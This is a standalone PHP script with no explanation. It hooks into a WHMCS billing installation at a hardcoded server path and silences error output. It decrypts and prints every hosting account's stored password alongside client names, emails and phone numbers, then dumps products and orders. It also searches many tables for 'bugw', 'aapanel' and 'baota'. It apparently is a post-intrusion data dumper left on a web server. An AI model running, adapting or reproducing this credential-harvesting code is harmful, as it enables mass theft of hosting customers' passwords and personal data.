<?php @error_reporting(0);@ini_set('display_errors','0');
require '/www/wwwroot/testw.pgywww.com/init.php';
use Illuminate\Database\Capsule\Manager as Capsule;
header('Content-Type: text/plain; charset=utf-8');
function dec($v){ if($v==='')return ''; try{return decrypt($v);}catch(\Exception $e){return 'ERR';} }
echo "[ALL HOSTING]\n";
try { $rows=Capsule::table('tblhosting')->get(); foreach($rows as $r){
  echo $r->id."\tD=".$r->domain."\tpid=".$r->packageid."\tuid=".$r->userid."\tregdate=".$r->regdate."\tIP=".$r->dedicatedip."\tserver=".$r->server."\tpwd=".dec($r->password)."\tst=".$r->domainstatus."\n";
}}catch(\Exception $e){echo "ERR ".$e->getMessage()."\n";}
echo "[CLIENTS]\n";
try { $rows=Capsule::table('tblclients')->get(); foreach($rows as $r){
  echo $r->id."\t".$r->firstname." ".$r->lastname."\t".$r->email."\t".$r->companyname."\t".$r->phonenumber."\n";
}}catch(\Exception $e){echo "ERR ".$e->getMessage()."\n";}
echo "[PRODUCTS]\n";
try { $rows=Capsule::table('tblproducts')->get(); foreach($rows as $r){
  echo $r->id."\t".$r->name."\t".$r->type."\t".$r->servertype."\n";
}}catch(\Exception $e){echo "ERR ".$e->getMessage()."\n";}
echo "[ORDERS]\n";
try { $rows=Capsule::table('tblorders')->get(); foreach($rows as $r){
  echo $r->id."\t".$r->userid."\t".$r->date."\t".$r->status."\n";
}}catch(\Exception $e){echo "ERR ".$e->getMessage()."\n";}
echo "[SEARCH bugw ANY TABLE]\n";
$tabs=Capsule::connection()->getDoctrineSchemaManager()->listTableNames();
$kw=array('bugw','aapanel','baota','aaPanel');
foreach($tabs as $t){
  if(!preg_match('/^tbl(customfields|hosting|orders|products|clients|servers|addons|config|domains|invoices|ticket|accounts)/',$t)) continue;
  try {
    $cols=Capsule::connection()->getDoctrineSchemaManager()->listTableColumns($t);
    foreach($cols as $c=>$col){
      $ctype=(string)$col->getType(); if(!preg_match('/(string|text|varchar|char)/i',$ctype) && $c!=='password') continue;
      $rows=Capsule::table($t)->where($c,'like','%bugw%')->get();
      if(count($rows)>0){ foreach($rows as $r){ echo "[$t.$c] ".json_encode((array)$r,JSON_UNESCAPED_UNICODE)."\n"; } }
    }
  }catch(\Exception $e){}
}
echo "[DONE]\n";